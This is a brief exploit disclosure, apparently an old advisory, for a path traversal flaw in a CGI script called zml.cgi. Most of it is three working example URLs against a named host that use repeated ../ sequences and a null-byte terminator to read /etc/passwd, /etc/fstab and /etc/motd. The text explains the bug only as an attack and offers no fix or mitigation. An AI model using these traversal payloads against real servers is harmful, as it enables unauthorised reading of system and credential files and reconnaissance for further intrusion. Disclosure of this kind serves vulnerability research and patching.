details of exploit

this is a classic CGI bug which uses ../../../../ to read remote files.

example:

http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/passwd%00
http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/fstab%00
http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/motd%00

this may be used by the attacker to gather vital details about the remote server.
